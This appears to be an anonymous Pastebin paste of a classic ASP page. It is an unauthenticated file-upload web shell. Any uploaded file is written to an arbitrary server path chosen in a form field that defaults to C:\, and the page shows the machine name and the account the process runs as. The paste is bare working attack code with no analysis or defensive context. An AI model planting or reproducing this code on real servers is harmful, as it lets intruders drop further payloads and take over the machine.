Advertisement
Guest User

Untitled

a guest
Sep 25th, 2017
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.41 KB | None | 0 0
  1. <%
  2.  
  3. Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
  4.  
  5. %>
  6.  
  7. <%
  8. Response.Buffer = true
  9. Function BuildUpload(RequestBin)
  10. 'Get the boundary
  11. PosBeg = 1
  12. PosEnd = InstrB(PosBeg,RequestBin,getByteString(chr(13)))
  13. boundary = MidB(RequestBin,PosBeg,PosEnd-PosBeg)
  14. boundaryPos = InstrB(1,RequestBin,boundary)
  15. 'Get all data inside the boundaries
  16. Do until (boundaryPos=InstrB(RequestBin,boundary & getByteString("--")))
  17. 'Members variable of objects are put in a dictionary object
  18. Dim UploadControl
  19. Set UploadControl = CreateObject("Scripting.Dictionary")
  20. 'Get an object name
  21. Pos = InstrB(BoundaryPos,RequestBin,getByteString("Content-Disposition"))
  22. Pos = InstrB(Pos,RequestBin,getByteString("name="))
  23. PosBeg = Pos+6
  24. PosEnd = InstrB(PosBeg,RequestBin,getByteString(chr(34)))
  25. Name = getString(MidB(RequestBin,PosBeg,PosEnd-PosBeg))
  26. PosFile = InstrB(BoundaryPos,RequestBin,getByteString("filename="))
  27. PosBound = InstrB(PosEnd,RequestBin,boundary)
  28. 'Test if object is of file type
  29. If PosFile<>0 AND (PosFile<PosBound) Then
  30. 'Get Filename, content-type and content of file
  31. PosBeg = PosFile + 10
  32. PosEnd = InstrB(PosBeg,RequestBin,getByteString(chr(34)))
  33. FileName = getString(MidB(RequestBin,PosBeg,PosEnd-PosBeg))
  34. 'Add filename to dictionary object
  35. UploadControl.Add "FileName", FileName
  36. Pos = InstrB(PosEnd,RequestBin,getByteString("Content-Type:"))
  37. PosBeg = Pos+14
  38. PosEnd = InstrB(PosBeg,RequestBin,getByteString(chr(13)))
  39. 'Add content-type to dictionary object
  40. ContentType = getString(MidB(RequestBin,PosBeg,PosEnd-PosBeg))
  41. UploadControl.Add "ContentType",ContentType
  42. 'Get content of object
  43. PosBeg = PosEnd+4
  44. PosEnd = InstrB(PosBeg,RequestBin,boundary)-2
  45. Value = MidB(RequestBin,PosBeg,PosEnd-PosBeg)
  46. Else
  47. 'Get content of object
  48. Pos = InstrB(Pos,RequestBin,getByteString(chr(13)))
  49. PosBeg = Pos+4
  50. PosEnd = InstrB(PosBeg,RequestBin,boundary)-2
  51. Value = getString(MidB(RequestBin,PosBeg,PosEnd-PosBeg))
  52. End If
  53. UploadControl.Add "Value" , Value
  54. UploadRequest.Add name, UploadControl
  55. BoundaryPos=InstrB(BoundaryPos+LenB(boundary),RequestBin,boundary)
  56. Loop
  57. End Function
  58. %>
  59.  
  60. <%
  61. Function getByteString(StringStr)
  62. For i = 1 to Len(StringStr)
  63. char = Mid(StringStr,i,1)
  64. getByteString = getByteString & chrB(AscB(char))
  65. Next
  66. End Function
  67. %>
  68.  
  69. <%
  70. Function getString(StringBin)
  71. getString =""
  72. For intCount = 1 to LenB(StringBin)
  73. getString = getString & chr(AscB(MidB(StringBin,intCount,1)))
  74. Next
  75. End Function
  76. %>
  77.  
  78. <%
  79. If request("ok")="1" then
  80. Response.Clear
  81. byteCount = Request.TotalBytes
  82.  
  83. RequestBin = Request.BinaryRead(byteCount)
  84.  
  85. Set UploadRequest = CreateObject("Scripting.Dictionary")
  86.  
  87. BuildUpload(RequestBin)
  88.  
  89. If UploadRequest.Item("fichero").Item("Value") <> "" Then
  90.  
  91. contentType = UploadRequest.Item("fichero").Item("ContentType")
  92. filepathname = UploadRequest.Item("fichero").Item("FileName")
  93. filename = Right(filepathname,Len(filepathname)-InstrRev(filepathname,"\"))
  94. value = UploadRequest.Item("fichero").Item("Value")
  95.  
  96. path = UploadRequest.Item("path").Item("Value")
  97.  
  98. filename = path & filename
  99.  
  100. Set MyFileObject = Server.CreateObject("Scripting.FileSystemObject")
  101. Set objFile = MyFileObject.CreateTextFile(filename)
  102.  
  103. For i = 1 to LenB(value)
  104. objFile.Write chr(AscB(MidB(value,i,1)))
  105. Next
  106. objFile.Close
  107. Set objFile = Nothing
  108. Set MyFileObject = Nothing
  109. End If
  110. Set UploadRequest = Nothing
  111. End If
  112. %>
  113.  
  114. <HTML>
  115. <BODY>
  116. <FORM action="?ok=1" method="POST" ENCTYPE="multipart/form-data">
  117. <INPUT TYPE="file" NAME="fichero">
  118. <INPUT TYPE="submit" Value="Upload">
  119. <br>Target PATH:<br><INPUT TYPE="text" Name="path" Value="C:\">
  120. </FORM>
  121. <PRE>
  122. <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
  123. <br>
  124. File: <%=filename%>
  125. </HTML>
  126. </BODY>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement